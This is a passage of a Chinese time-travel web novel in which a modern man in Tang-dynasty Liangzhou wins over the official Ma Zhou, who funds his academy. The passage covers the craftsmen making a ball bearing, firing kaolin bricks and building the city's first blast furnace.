那上面布满了密密麻麻的线条和五颜六色的标记,精密得不似凡人手笔。
图纸上,从标注着“水库”与“灌渠网”的蓝色区域,一路扫到“军工厂”和“学院区”,每一个区域,每一条道路的宽度,都计算得毫厘不差。
“怎么样,震撼吧?”林浩得意地一指,“《凉州未来五年发展规划》,我昨晚睡不着,随手画的。”
“林大人,这个……”马周的手指落在一根蜿蜒的蓝线上,声音干涩。
“哦,人工运河。”
林浩说得云淡风轻,“从祁连山引水,八十里长,灌溉十万亩良田。顺便嘛,再搞个水电站,给全城供电。”
水电站?供电?
马周感觉自己的认知正在被一柄重锤反复敲打,寸寸碎裂。
“还有这儿。”
林浩又指向一片赤红色的区域,“钢铁联合体。我要在这儿建一座大高炉,日产钢铁三千斤!到时候,全大唐的兵器都得从我们这儿订!”
日产,三千斤!
马周的手指下意识地蜷缩起来。
他知道,如今整个大唐一年的钢铁产量,加起来也不过几万斤。
这家伙,竟敢说要一天产三千斤?
“第一步,水利兴农,填饱肚子。”
林浩的语速开始加快,“第二步,钢铁水泥,立起工业的脊梁。第三步,纺织、罐头这些轻工业,用来对外……赚钱!”
马周听得心惊肉跳。
林浩的规划,环环相扣,逻辑严密。
从农业到工业,从民生到军事,形成了一个完美的闭环。
这真的是凉州未来的发展吗?
“看到这块没有?”林浩神秘地指着一个标为“军工实验区”的角落,“这里,我会搞出能让大唐铁骑领先周边百年不止的东西。”
“比如?”马周的声音已经有些变形。
“更好的马镫、马鞍。”林浩掰着手指,“更轻便的铠甲,射程更远的强弩……甚至……”
“一种能凭空引来霹雳的铁丸子。”
霹雳?铁丸?
马周的心脏狠狠一抽。
天威雷霆,怎能与凡人铁器混为一谈?
他想起了那些炼丹的方士,丹炉炸裂时,也会火光冲天。
但那最多是烧掉胡子,而林浩口中的东西,仿佛是要将九天之上的雷神,锁进一颗小小的铁丸之内!
“你的意思是……以人力,造出雷霆?”
马周的喉结滚动了一下,他感觉自己在听一个疯子讲述最荒诞的梦。
林浩看着他失魂落魄的样子,满意地点了点头:“差不多。马老板,你想象一下,两军对垒,咱们的人只用丢出去几十个铁丸子。霎时间天崩地裂,火光冲天,血肉横飞……你说,这仗还怎么打?”
马周无法想象那个画面,但他能感觉到那描述背后,足以颠覆世间一切的恐怖力量。
那不是战争。
那是天罚!
若林浩真能造出此物,那突厥、吐蕃面对的,将不再是凡人的军队!
“最关键的是这里。”
林浩的手指重重地点在图纸中央,“教育园区。我要建十个学堂,培养木匠、铁匠、农技师、会计师……我要一整套,能撑起这个新世界的产业工人!”
马周看着那片密密麻麻的小方格,每一个都代表着数百名专业人才的未来。
这种规模的人才培养计划,就连长安的国子监都望尘莫及!
"五年。"林浩伸出一只手,”只要给我五年时间和足够的资金,我就能让凉州上缴的税收,能顶得上江南三个富庶州府的总和。"
他拍了拍马周的肩膀:"马老板,这笔投资,你亏不了。我保证让你赚得盆满钵满!"
马周木然地点着头,大脑已经完全宕机了。
江南三个富庶州府的税收总和?那是什么概念?
江南是大唐最富裕的地区,三个州府一年的税收,几乎占了朝廷总收入的一半!
而林浩,竟然说一个边陲小城能达到这个水平?
"好了,汇报完毕!"林浩心满意足地将图纸卷起,"我回去继续睡觉了。昨晚熬夜画图,困死我了。"
"等等......"马周叫住了他。
"怎么了?"
马周看着林浩那双清澈的眼睛,心中涌起千言万语,最终却只说了一句:"林大人,保重。"
林浩愣了一下,然后哈哈大笑:"马老板,你这话说得,我又不是要去打仗,保什么重?行了,我先撤了!"
看着林浩离去的背影,马周久久无法回神。
送走林浩后,马周独自在客栈中枯坐了整整一天。
水库、工厂、学校、道路......
如果这个计划真的实现,大唐将变成什么样子?
农业产量翻倍,工业实力暴涨,军事装备领先,教育普及全民......
这将是一个真正的盛世!一个足以傲视千古的盛世!
夜幕降临时,他终于下定了决心。
"来人!"
亲卫匆匆跑进来:"大人!"
"取最好的笔墨,还要一整刀纸!"
"是!"
很快,亲卫将笔墨纸砚全部摆好。
马周深深吸了一口气,提笔蘸墨。
他写的不是审判结果,而是一封长达万言的奏疏。
从水泥路的震撼,到工厂的效率;从科学院的求知精神,到基础法的先进理念;从林浩的宏伟蓝图,到羊肉泡馍里蕴含的民心......
他将自己在凉州的所有见闻,事无巨细,全部写了进去。
他没有为林浩辩解,而是完全站在一个观察者的角度,客观地描述和分析凉州模式的每一个细节,以及它背后蕴含的可怕潜力。
写到最后,他用最恳切的言辞总结:"林浩之罪,在于‘无君无父’,离经叛道;林浩之功,在于经天纬地,利国利民。如何处置,请陛下圣断。但臣马周,愿以项上人头担保,凉州所见,句句属实。"
写完万言书,他小心翼翼地将其封好。
然后,他从怀中取出了那道可以决定林浩生死的空白圣旨。
这张纸,代表着皇帝的绝对权威。只要他在上面写下"斩"字,林浩就必死无疑。
但是现在,看着这张空白圣旨上"皇帝信玺"的朱红大印,马周的手颤抖了。
最终,他缓缓地将圣旨移到了烛火之上。
空白圣旨遇火,迅速燃烧,化为一捧灰烬。
伴随着纸张燃烧的声音,马周喃喃自语:"陛下,恕臣不能遵旨。但臣相信,当您看到臣的万言书后,会明白臣今日所为的深意。"
他看着窗外渐亮的天空,心中涌起一种前所未有的解脱感。
第13章:挪用经费,就为了造个轴承?
天刚蒙蒙亮,马周便将那封万言书仔细包裹好,用火漆密封。
他推开门,亲卫李大壮正守在外面。
“李大壮。”
“末将在!”
“你跟了我多少年?”
李大壮挠挠头:“八年了,大人。”
“那你可愿意为我做一件事,这件事可能会让你九死一生。”马周的语气异常严肃。
李大壮想都没想:“大人的事,就是我的命!”
马周深深看了他一眼,将万言书郑重地交到他手中。
“这封奏折,你要用最高级别的军情急递,不惜一切代价,以最快速度送达长安。”
“必须亲手交到内侍总管王德手中,告诉他,十万火急,直奏御前!”
李大壮接过奏折,感受着它的分量:“大人,这里面写的是……”
“别问!”马周厉声道,“记住,除了王德,谁都不能碰这封信。哪怕是长孙国公亲自开口,你也要拒绝!”
李大壮整个人都绷紧了。
他虽然粗糙,但也知道长孙国公意味着什么。
马周这是在让他得罪当朝第一权臣啊!
“大人,万一国公爷真的要强夺……”
“那就死!”马周斩钉截铁,“宁可死,也不能让任何人提前看到这封信的内容!”
李大壮浑身一震。跟了马周八年,他还是头一次见到这位文质彬彬的大人如此决绝。
“末将明白了!”李大壮将奏折贴身收好,“大人,我现在就出发!”
“等等。”马周从袖中又取出一个钱袋,“路上买最好的马,累死就换,不要心疼钱。记住,越快越好!”
李大壮接过钱袋,咬咬牙:“大人,我一定把信送到!”
说完,他转身疾步离去。
不到一炷香的功夫,就听到城外传来急促的马蹄声,越来越远,直至消失在晨雾中。
马周站在客栈门口,望着长安的方向,神情平静得令人心悸。
他已经做完了他能做的一切。
现在,就看天意了。
回到房间,马周在桌案前重新坐下。
刚才焚烧空白圣旨的时候,他内心获得了前所未有的平静。
但随之而来的,却是更深层次的危险。
一旦长孙无忌的密探将焚烧圣旨这件事上报,而他的万言书又没能说服李世民……
那等待他的,将是君王的雷霆之怒。
抗旨不遵,这可是诛九族的大罪!
马周摇摇头,压下心中的恐惧,提笔开始写第二封信。
这次,他写的是家书。
“贤妻如见:
余在凉州公务繁忙,勿念。家中老母身体可好?儿子功课如何?
若余此行有什么不测,你便带着孩子回娘家。余这辈子最对不起的,就是你们母子……”
写到这里,这个铮铮铁骨的汉子,眼眶竟然有些湿润。
他停下笔,揉了揉发胀的太阳穴。
虽然内容读起来平平常常,但字里行间,却透着深深的诀别之意。
就在马周写遗书的时候,凉州城的另一头,林浩正被他亲手培养的“科学疯子”们气得跳脚。
“你们几个!给我出来!”
林浩站在科学院的大门口,声音传遍了整个院子。
很快,几个穿着简陋工作服的中年汉子战战兢兢地走了出来。
为首的那个,正是林浩从工匠中选拔出来的“首席工程师”张铁柱。
“林、林大人……”张铁柱支支吾吾,“您找我们有事?”
“有事?”林浩差点没被气笑,“我给你们批的经费是干什么用的?造我的自动翻书机!结果你们造出了什么?”
张铁柱底气不足:“那个……轴承?”
“轴承!”林浩重重拍了下桌子,“我要的是翻书机,你们给我造了个轴承?这玩意能翻书吗?”
“大人,您别急嘛。”张铁柱赶忙解释,“这轴承可是好东西!比您那翻书机重要多了!”
“重要你个头!”林浩彻底暴走了,“我是要躺着看书,不是要研究什么劳什子轴承!”
“大人,您听我说!”另一个工匠李三炮插话道,“这轴承是万物转动的基础啊!无论是翻书机还是战车,甚至水车磨坊,统统都离不开它!”
“对对对!”张铁柱激动起来,“大人,这可是基础科学研究!比您那个偷懒的发明重要一百倍!”
偷懒的发明?
林浩差点没被这句话气出内伤。
合着在这群家伙眼里,他堂堂穿越者的伟大构想,就是“偷懒”?
“你们懂什么叫轴承吗?”林浩怒道。
“当然懂!”李三炮得意洋洋,“就是让东西转得更顺滑的圆珠子呗!我们已经做出样品了,您看!”
说着,他从怀里掏出一个巴掌大的铁环,里面镶嵌着几十颗精心打磨的钢珠。
林浩接过来一看,顿时愣住了。
这……这特么还真是轴承!
而且制作工艺相当精良,钢珠圆润光滑,内外环配合严丝合缝。
虽然跟现代工业轴承还差得远,但在这个时代,已经算是神来之笔了!
“你们是怎么想到要做这个的?”林浩的语气有些缓和。
张铁柱挠挠头:“还不是您教的嘛!您说过,一切机械的根本都在于减少摩擦力。我们琢磨着,既然您的翻书机需要转动,那肯定得想办法让它转得更顺溜。”
“然后我们就想起了您讲过的''滚动摩擦小于滑动摩擦''的道理,就试着做了这个。”李三炮补充道。
林浩彻底无语了。
这群憨厚的工匠,竟然无师自通地搞出了轴承的原理!
更要命的是,他们说得还特么有道理!
轴承确实是工业革命的基础部件。
没有轴承,就没有高效的机械传动。
不管是蒸汽机、纺织机,还是后面的汽车、飞机,统统离不开这玩意。
从某种意义上说,这群“科学疯子”的眼光,比他这个穿越者还要毒辣!
“那……翻书机呢?”林浩不甘心地问。
“做啊!当然做!”张铁柱拍拍胸脯,“有了这轴承,您的翻书机转起来能顺滑十倍!保证您躺在床上动动手指头,就能翻遍天下所有的书!”
林浩被这话逗笑了。
这群家伙,还挺会拍马屁。
“那行吧。”林浩无奈摆手,“轴承项目我批了。但是条件是,必须先给我做一个样品用在翻书机上!”
第14章:马老板直接投了三千贯
“林大人!”
马周的声音从科学院门口传来,打断了这场关于轴承的激烈辩论。
所有人都转过头,看到这位“马老板”大步流星地走了进来。
今天的马周,脸上带着一种前所未有的决绝和洒脱。
“马老板?”林浩挠挠头,“你来得正好,我正被这群科学疯子气得够呛。他们拿我的经费做轴承,不做翻书机!”
“林大人,别吵了。”马周走到众人面前,语气平静得出奇,“你的项目,我投了!”
什么?
林浩愣住了。
张铁柱、李三炮这些工匠也全都呆若木鸡。
刚才还在为经费头疼的问题,突然就有金主主动送上门?这剧情转折来得也太快了吧!
“马老板,你确定?”林浩眨眨眼,“我这项目可不是小打小闹,需要的资金量......”
“我确定。”马周打断了他,然后转头对门外喊道,“把东西抬进来!”
话音刚落,两个之前一直假扮随从的亲卫,吃力地抬着两个沉重的大木箱走了进来。
那木箱看起来分量十足,两个身强力壮的汉子抬着都有些吃力。
“咚!”
“咚!”
两个箱子被重重放在地上,整个科学院的地面都震了一下。
林浩和工匠们面面相觑。这排场,有点超出想象啊。
“马老板,这是......”
马周没有回答,而是亲自走到第一个箱子前,将厚重的铁锁“咔嚓”一声打开。
箱盖掀起的瞬间,整个科学院突然安静得针落可闻。
金光!
刺眼的金光!
箱子里,整整齐齐码放着一根根金条,每一根都有成人手掌那么长,在午后的阳光下闪闪发光。
林浩的下巴差点掉在地上。
张铁柱直接坐在了地上,嘴巴张得能塞下一个鸡蛋。
李三炮更是夸张,直接揉起眼睛,怀疑自己在做梦。
“这......这是......”林浩的声音都在颤抖。
马周面不改色,又走向第二个箱子,同样将锁打开。
这回箱子里装的是银锭,一锭一锭排列得整整齐齐,白花花的一大片,晃得人眼花。
“我的天!”
“发财了!”
“这得多少钱啊!”
工匠们彻底疯了,围着两个箱子转圈,兴奋得手舞足蹈。
只有林浩站在原地,目光复杂地看着马周。
这个一直被他当成普通富商的“马老板”,怎么可能拿得出这么多真金白银?
马周察觉到林浩的目光,平静地说道:“这是我毕生的俸禄积蓄,大概值三千贯。我不管什么股份了,这笔钱,就算是我个人对凉州科学院的捐赠。”
毕生的俸禄积蓄?
捐赠?
林浩彻底惊呆了。
三千贯是什么概念?一个普通百姓一年的收入也就一二十贯,三千贯够一家人富裕地生活一百多年!
而这个“马老板”,竟然要全部捐给科学院?
更关键的是,他刚才说的是“俸禄”积蓄。普通商人哪来的俸禄?
“马老板,你到底是......”
“我确实不是商人。”
马周看着林浩震惊的表情,淡淡一笑,“我赌的也不是钱。我是在赌大唐的未来。林大人,你的事业,需要钱,而我,恰好有一些。”
这话里的分量,完全不同了。
林浩第一次真正审视起眼前这个男人。
不是商人,有俸禄,能拿出三千贯巨款,说话间透着一股子朝堂之气......
这特么哪是什么投资人,分明是朝廷大员!
而且还是级别很高的那种!
“你......”林浩张了张嘴,想问什么,但话到嘴边又咽了回去。
马周没有挑明身份的意思,但那句“赌大唐的未来”,已经说明了一切。
这不是生意,这是政治投资。
不,这是信仰投资。
林浩沉默了良久,最终郑重地向马周深深鞠了一躬:“先生高义,林浩代凉州百万军民谢过。”
这一礼,包含了太多东西。
有感激,有敬重,也有一种英雄惜英雄的惺惺相惜。
马周受了这一礼,神色坦然。“林大人客气了。”
张铁柱这时候才从震惊中回过神,激动得语无伦次:“林大人,有了这笔钱,咱们什么都能造了!轴承、翻书机,还有您说的那些神仙玩意,统统不是问题!”
“对对对!三千贯啊!”李三炮也兴奋得满脸通红,“我们可以买最好的铁料,雇最多的工匠,建最大的作坊!”
其他工匠也纷纷围过来,七嘴八舌地讨论着用这笔钱能做什么。
有人说要建十个新炉子,有人说要招一百个学徒,还有人说要把整个科学院扩建三倍......
林浩看着这群兴奋得像打了鸡血的工匠,紧锁的眉头终于舒展开来。
这笔突如其来的巨款,瞬间解决了科学院经费紧张的燃眉之急。
不止如此,有了这三千贯,他的很多计划都能提前实施。
更精密的工具,更多的实验设备,更完善的研发体系......
最重要的是,他终于可以放开手脚,不用再为了省钱而缩手缩脚了。
“马老板......先生。”林浩纠正了称呼,“这份恩情,我记住了。”
马周摆摆手:“不必如此。我只有一个要求。”
“您说。”
“我要在奏折抵达长安之前,留在凉州,亲眼见证这笔钱能催生出怎样的奇迹。”
马周的眼中,闪过一道精光,“我要为自己的万言书,准备一份无可辩驳的物证。”
万言书?
果然是朝廷重臣!
而且是有资格直接面圣的那种!
林浩心中掀起惊涛骇浪,但表面上依然保持镇定:“先生放心,我保证让您看到最震撼的结果。”
“那就这样定了。”马周点点头,“这些钱,你们随便用。我只看结果。”
说完,他转身就要离开。
“先生等等!”林浩叫住了他,“您既然要留下来观察,不如就住在科学院吧。我给您安排最好的房间。”
马周想了想,点头答应:“也好。”
“兄弟们!”林浩转向那群还在围着金银转圈的工匠,声音洪亮,“活干起来!让咱们的马先生看看,什么叫做奇迹!”
第15章:现代管理学的唐朝实践
“兄弟们,今天咱们来开个大会!”
林浩搬了个小木凳,站在科学院的正中央,手里拿着根树枝当指挥棒。
“有了马先生的资金注入,咱们科学院终于可以甩开膀子干了!但是!”
他重重地敲了敲地面,“钱多了,不代表可以乱花。从今天起,所有项目必须实行标准化管理!”
张铁柱挠挠头:“林大人,什么叫标准化管理啊?”
“就是不能再像以前那样,拍脑袋决定做什么。”林浩指着旁边两个亲卫抬来的巨大黑板,“看见了吗?从今天开始,所有项目都要上黑板!”
黑板上,林浩用白色粉笔画了一个表格,分为五列:项目名称、负责人、预算、时间节点、风险评估。
工匠们面面相觑。这玩意,他们还真没见过。
马周坐在一旁的椅子上,手里握着毛笔,准备记录。但他很快发现,林浩接下来的操作,完全超出了他的认知范围。
“立项申请!”林浩大喊一声,“化学部的兄弟们,你们的焦炭项目,给我详细汇报一下!”
李三炮战战兢兢地站了起来,手里拿着一张纸:“林大人,这是我们的计划书……”
“大声点!让所有人都听见!”
李三炮清了清嗓子:“焦炭量产项目!我们需要建设专门的炭窑,购买优质原煤,预计需要工人十二名,周期二十天,预算……”
他咽了口唾沫,“二百贯!”
“二百贯?”林浩皱起眉头,“凭什么要二百贯?给我详细分解!”
李三炮顿时紧张起来,赶忙翻看手中的纸张:“原煤采购,八十贯。炭窑建设,六十贯。工人薪酬,四十贯。其他杂费,二十贯。”
“其他杂费二十贯太多了!”林浩毫不客气地砍价,“十贯足够!预算批准一百九十贯!”
李三炮的脸都快绿了:“林大人,万一有意外怎么办?”
“意外?”林浩冷笑,“那就是你的风险控制没做好!说说看,你们的备用方案是什么?”
备用方案?李三炮彻底蒙了。
“不知道?那我告诉你!”林浩在黑板上刷刷刷写了几行字,“方案A:原煤质量不达标,立即联系备用供应商。方案B:炭窑损坏,提前准备维修材料。方案C:工人生病,预留替补人员!”
整个科学院鸦雀无声。
工匠们从来没想过,做个焦炭还要考虑这么多问题。但仔细一想,林大人说得确实有道理啊!
马周的笔已经停在了纸上。他震惊地发现,林浩这套管理方法,比朝廷的那些行政流程还要严谨!
更恐怖的是,林浩对每一个环节的成本控制,精确到了令人发指的程度。
“材料部!你们的高炉建造项目呢?”
张铁柱赶忙站起来,这次他学聪明了,把计划书举得高高的:“高炉建造项目!需要耐火砖三千块,黄土五车,人工三十名,工期一个月,预算五百贯!”
“五百贯?你怎么不去抢!”林浩差点跳起来,“耐火砖为什么不能自己烧?黄土为什么不能就地取材?人工三十名是不是太多了?”
“可是林大人……”张铁柱委屈地解释,“高炉这么重要,万一出问题……”
“出问题就是因为你们不动脑子!”林浩指着黑板,“成本控制的核心,就是花在刀刃上!每一分钱都要有效率!”
他转身面向所有人:“我们是在创业,不是在挥霍!马先生的三千贯,必须发挥出三万贯的效果!”
马周听到这话,内心五味杂陈。林浩刚才向他解释过,这叫“花在刀刃上”。
但让马周没想到的是,这个平时慷慨得连翻书机都舍得花钱研发的家伙,在正式项目管理上,竟然抠门到了极点!
“农业部!你们的新式农具项目呢?”
农业部的负责人王麻子站了起来:“新式农具改良项目!我们要改进曲辕犁,让它更轻便,更省力,预算一百贯!”
话音刚落,张铁柱不干了:“等等!农具要轻便,但也要坚固啊!你们这样搞,犁头用不了几天就坏了!”
“那你说怎么办?”王麻子瞪眼,“做得太重,农民根本用不动!”
“做得太轻,三天两头坏,农民更吃亏!”
两人眼看就要吵起来。
马周以为林浩会立即裁决,但让他意外的是,林浩居然笑了。
“很好!这就是我想看到的!”林浩拍拍手,“有争议才有进步!王麻子、张铁柱,我现在宣布成立''跨部门联合攻关小组'',你们两个一起想办法解决这个问题!”
“一起?”两人都愣住了。
“对!一起!”林浩在黑板上画了个圆圈,“农业部负责轻便化设计,材料部负责坚固化工艺。你们必须找到一个平衡点!”
王麻子和张铁柱面面相觑,从来没想过还能这样合作。
“时间限制,十天!预算,两百贯!完不成任务,两个人都要受罚!”
马周彻底看呆了。
这种“跨部门协作”的概念,就连朝廷都没有。各个部门之间往往各自为政,很少主动配合。
但林浩居然能让两个本来有矛盾的部门,联合起来解决同一个问题!
会议持续了整整一天。
林浩逐一审核了十几个项目申请,每个项目都被他拆解得清清楚楚。
最终,两大核心项目脱颖而出:
“高炉炼钢项目”,因为钢铁是所有工业的基础。
“曲辕犁改良项目”,因为粮食是所有发展的保障。
当夕阳西下,会议结束时,整个科学院的氛围完全变了。
工匠们不再是一盘散沙,而是被精确地组织成了一台高效运转的机器。每个人都有明确的任务,清晰的目标,严格的时间限制。
马周坐在椅子上,看着手中密密麻麻的记录,内心翻江倒海。
他终于明白了。
林浩最可怕的,不是那些层出不穷的发明,甚至不是那些领先时代的知识。
而是这套能将人力、物力、财力高效组织在一起,朝着一个明确目标前进的管理方法!
这套方法就像一只无形的手,能够源源不断地产生发明,产生奇迹!
如果朝廷也能采用这种管理方式……
马周不敢继续想下去。
他知道,自己见证的不仅仅是一场会议,而是一个全新时代的开始。
“马先生,感觉怎么样?”林浩走到他身边,擦了擦汗。
“震撼。”马周诚实地回答,“林大人,这套管理方法,从何而来?”
“嗯……”林浩挠挠头,“梦里学的?”
马周:“……”
就在这时,张铁柱兴奋地跑了过来:“林大人!我们已经开始准备耐火砖了!李三炮也去联系煤炭供应商了!明天一早就能开工!”
“很好!”林浩满意地点点头,然后打了个大大的哈欠,“我累死了,得赶紧回去睡觉。管理这么多人,比发明东西还累人。”
说完,他就晃晃悠悠地走了,留下马周一个人坐在原地发呆。
这家伙……刚才还在精打细算,现在就又变回了那个懒洋洋的模样?
不过,看着科学院里工匠们热火朝天的忙碌身影,马周知道,凉州已经彻底被激活了!
第16章:疯了吧,他要把石头烧成水?
项目启动大会结束,整个科学院的气氛彻底变了。
之前,工匠们干活凭的是一腔热血和对林大人的崇拜。
现在不一样了。
每个人手里都捏着一份薄薄的纸,上面用最简单的字写着他们的项目名称、负责人、预算额度、还有精确到天的完成时限。
一股无形的压力,也是一股前所未有的动力,笼罩在每个人心头。
工匠们不再是东一榔头西一棒子,而是被拧成了一股绳,变成了一台高速运转的机器。
而这台机器的总工程师,就是林浩。
“张铁柱!李三炮!”
林浩的声音在刚刚清理出来的巨大空地上回响。
这片地,未来就是整个凉州工业的心脏——高炉炼钢区。
张铁柱和李三炮小跑着过来,脸上还带着开会时的亢奋。
“林大人,您吩咐!”
“从现在开始,你们两个,一个是高炉建造项目组的组长,一个是焦炭生产项目组的组长。”
林浩指着空地,“我就是你们的总工程师。记住,我不管你们以前是干什么的,从今天起,你们就是凉州第一批真正的工程师!”
工程师?
张铁柱和李三炮对视一眼,这个词他们听不懂,但听着就觉得比“工匠”两个字厉害多了。
“总工程师,那咱们第一步干啥?”张铁柱已经迫不及待了。
“第一步,我先给你们上一课。”林浩捡起一根树枝,在地上画了一个简陋的铁匠铺,“你们告诉我,铁是怎么来的?”
“打出来的呗!”李三炮抢着回答,“把铁矿石烧红了,用大锤子使劲砸,把里面的杂质砸出来,不就成铁了?”
这是这个时代所有工匠的共识,是颠扑不破的真理。
“错!”林浩用树枝在那个铁匠铺上画了一个大大的叉,“从今天起,忘了你们那些敲敲打打的玩意儿!我们要做的,不是打铁,是炼铁!”
他指着地上,“我们要建一个大家伙,一个能把石头烧成水的大家伙!”
“把石头烧成水?”张铁柱的眼珠子都快瞪出来了,“林大人,您没说笑吧?石头怎么可能烧成水?”
“是铁水!”林浩纠正道,“我们要做的,不是把铁矿石敲打成铁,而是像烧开水一样,把铁矿石彻底熔化成滚烫的铁水,再把铁水炼成钢水!”
这个比喻,彻底颠覆了在场所有工匠的认知。
烧开水?
炼铁这么神圣、这么需要力气和技巧的活,怎么能跟厨房里烧水相提并论?
这简直是……对祖师爷的侮辱!
可说这话的是林大人,他们不敢反驳,只能瞪大眼睛,努力去理解这番惊世骇俗的言论。
“大人,这……这得要多大的火啊?”一个老工匠颤巍巍地问。
“寻常的炭火肯定不行。”林浩胸有成竹,“所以,李三炮,你的任务来了。我要你用最快的速度,给我烧出焦炭!越多越好,质量越高越好!”
“焦炭?”李三炮对这个词不陌生,上次实验的时候他们就搞过一点。
“对!就是那玩意儿!”林浩加重了语气,“它才是高炉的口粮,是让石头变成水的关键!”
“是!保证完成任务!”李三炮挺起胸膛,领了军令状,带着化学组的人风风火火地走了。
林浩又转向张铁柱:“你的任务更重。我们要在这里,建起大唐的第一座高炉。而建高炉,首先需要一样东西。”
“耐火砖!”张铁柱立刻回答,他在项目申请会上已经听明白了。
“没错,大量的,能承受上千度高温的耐火砖。”林浩的表情严肃起来,“凉州本地的砖窑,烧不出这种砖。所以,我们必须自己建窑,自己烧!”
自己建窑?
张铁柱有点犯难:“大人,这建窑可是个技术活,咱们的人……”
“技术,我来解决!”林浩打断他,“你们要做的,是执行!立刻组织人手,跟我去城外找土!”
“找土?”
“对!找一种白色的,粘性很强的土,叫高岭土!那才是烧制耐火砖的宝贝!”
林浩一声令下,材料部的人立刻行动起来。
马周就站在不远处,静静地看着这一切。
他像一个局外人,又感觉自己身处一场风暴的中心。
刚才那场会议,已经让他对“管理”二字有了全新的认识。
而现在,他亲眼看到了那套管理方法是如何被付诸实践的。
没有拖泥带水,没有推诿扯皮。
目标明确,分工清晰,责任到人。
林浩就像一个运筹帷幄的将军,一道道命令下去,整支队伍便高效地运转起来。
他看到林浩脱下那件看似华贵的外袍,只穿着一身利落的短衫,卷起袖子,第一个拿起铁锹,带着张铁柱他们浩浩荡荡地往城外走去。
他不是一个只会动嘴皮子的官僚。
他是一个能亲手画图纸,能亲自带队找原料,能把最深奥的道理用最简单的比喻讲出来的实干家。
马周的内心再次被深深震撼。
他不由自主地跟了上去。
城外的山谷里,李三炮已经带着人选好了地方,开始按照林浩给的图纸,建造简易的闷烧窑,滚滚的浓烟很快就升了起来。
另一边,林浩正蹲在一条小河边,抓起一把泥土在手里揉捏,然后摇头扔掉。
他带着张铁柱和几十个工匠,几乎把凉州城外的山头跑了个遍。
“不对,这个黏性不够。”
“这个颜色对,但杂质太多。”
“这个不行,烧出来肯定会裂。”
他就像一个最有经验的老农,又像一个最挑剔的寻宝人,对脚下的土地了如指掌。
终于,在一处不起眼的山坳里,他挖出了一捧洁白如雪的泥土。
“就是它!”林浩的眼睛亮了,“高岭土!找到了!”
工匠们欢呼起来。
林浩没有停歇,当场就用树枝在地上画出了耐火砖窑的详细设计图。
“看这里,这是预热带,让砖坯慢慢升温,防止炸裂。”
“这里是烧成带,温度最高,要用最好的焦炭。”
“还有这里,是冷却带,让烧好的砖慢慢降温,增加强度。”
一个个闻所未闻的名词,一套套逻辑严密的理论,从林浩口中说出,让围在旁边的制砖老师傅们听得如痴如醉,惊为天人。
他们烧了一辈子砖,今天才知道,一个小小的砖窑里,竟然藏着这么多的大学问!
马周站在人群外,看着那个蹲在地上,满身泥土地给工匠们讲课的年轻人,心中涌起一股难以言喻的情绪。
这家伙,到底是什么来头?
他的脑子里,到底装了多少东西?
他感觉自己不是在见证一座高炉的建造,而是在见证一个文明的基石,被一双来自未来的手,亲手奠定。
傍晚,林浩拖着疲惫的身体回到科学院,马周跟在他身后。
“马先生,今天感觉如何?是不是觉得你的三千贯快要打水漂了?”林浩笑着打趣道。
“不。”马周摇摇头,由衷地说道,“我感觉,我那三千贯,可能是我这辈子做得最正确的一笔投资。”
林浩哈哈大笑,然后郑重地对马周说:
“马先生,你记住了。高炉一旦点火,就不能轻易熄灭。它就像一头吞噬煤炭和矿石的巨兽,日夜不休。”
“要么,它为我们源源不断地吐出钢铁的血液,支撑起整个凉州的未来。”
“要么,它就把我们所有的心血,连同你的三千贯,一起烧成一堆谁也不认识的垃圾。”
成败,在此一举。
第17章:轰鸣声中,钢铁时代拉开序幕
半个月。
整整半个月,凉州科学院就像一个上了发条的战争机器,日夜不休。
“又废了!他娘的又废了一炉!”
张铁柱一屁股坐在地上,看着眼前一堆烧得开裂变形的砖块,眼眶通红,这个四十多岁的关西汉子,声音里都带上了哭腔。
这已经是第三批了!
上千块砖坯,耗费了无数的人力物力,结果又是这个德行!
工匠们垂头丧气,整个工地的气氛压抑到了极点。
“哭什么?死人了吗?”
林浩的声音不带一丝情绪,他走过来,随手捡起一块废砖,用手指敲了敲,又掰开看了看断面。
“升温曲线控制得不对,预热时间太短,砖坯内外温差过大,不裂才怪。”
他把废砖扔在张铁柱脚下。
“所有数据记录了吗?”
张铁柱赶紧爬起来,抹了把脸,从怀里掏出一个皱巴巴的本子:“记……记着呢,大人。”
“那就行。”
林浩点点头,“失败是成功他妈,这句老话听过没?现在咱们见了三次妈了,离成功还远吗?所有人,把失败数据整理出来,重新调整烧制方案,两个时辰后,第四炉,点火!”
没有一句安慰,也没有半句责骂。
但林浩这番话,却比任何鸡汤都有用。
工匠们看着这个始终冷静得可怕的年轻人,心里那股子沮丧劲儿,莫名其妙就散了。
对啊,大人都没放弃,我们有什么脸哭丧?
干!
……
又是三天后。
当第四炉砖成功出窑,每一块都呈现出均匀的淡黄色,敲击声清脆悦耳时,整个工地爆发出震天的欢呼!
有了合格的建材,接下来的进度一日千里。
一座高达三丈,外形奇特,像个笨拙土黄色巨人的高炉,在所有人的努力下,拔地而起。
它由上千块耐火砖和特制的黏土砌成,外面用巨大的原木搭建成井字脚手架,再用手臂粗的铁条死死箍住,远远看去,充满了原始而野蛮的力量感。
在高炉旁边,是两台更加怪异的大家伙。
巨大的水车驱动着连杆,带动两个巨大的木制风箱,进行着一种规律的往复运动。
“呼——哧——”
“呼——哧——”
这是林浩设计的往复式鼓风机,能为高炉提供持续而强劲的烈风,是这头钢铁巨兽的“肺”。
“管道接口再检查一遍!密封性是关键!”
林浩正趴在一个离地半人高的管道口,亲自检查着连接鼓风机和高炉的热风管道。
这是另一个划时代的设计。
将鼓风机吹出的冷风,先通过一个预热室,用高炉废气加热后,再送入炉内。
别小看这个操作,它可以将炉温凭空再拔高一两百度!
这是炼出铁水的关键!
马周站在不远处,这半个多月,他几乎成了工地的常客。
他看着林浩从一个慵懒的贵公子,彻底变成了一个满身泥污的工头。
他发现了一个秘密。
林浩的知识,好像不是凭空想出来的。
他有一个巴掌大的小本子,用某种坚韧的兽皮做封面,总是随身携带。
就在昨天,热风管道的一个转角设计出了问题,所有老师傅都束手无策。
只见林浩一个人蹲在角落,拿出那个小本子,用一根炭笔在上面飞快地画着一些鬼画符。
那些符号,马周一个也看不懂。
有的像蝌蚪,有的像爪子,还有各种横竖交错的奇怪线条。
林浩一边画,一边嘴里念念有词,时而皱眉,时而点头。
大概一炷香后,他猛地站起来,拿着本子冲到工匠面前,指着图纸大喊:“角度不对!风道阻力太大!把这个弯口改成弧形,半径三尺七寸,不能多也不能少!”
工匠们将信将疑地照做了。
结果,问题迎刃而解!
那一刻,马周心里掀起了滔天巨浪。
他瞬间推翻了自己之前的猜测。
什么天纵奇才,什么天赋异禀……
不对!
这根本不是天赋能解释的!
这分明是一套完整的,逻辑严密的,可以计算,可以推演的“学问”!
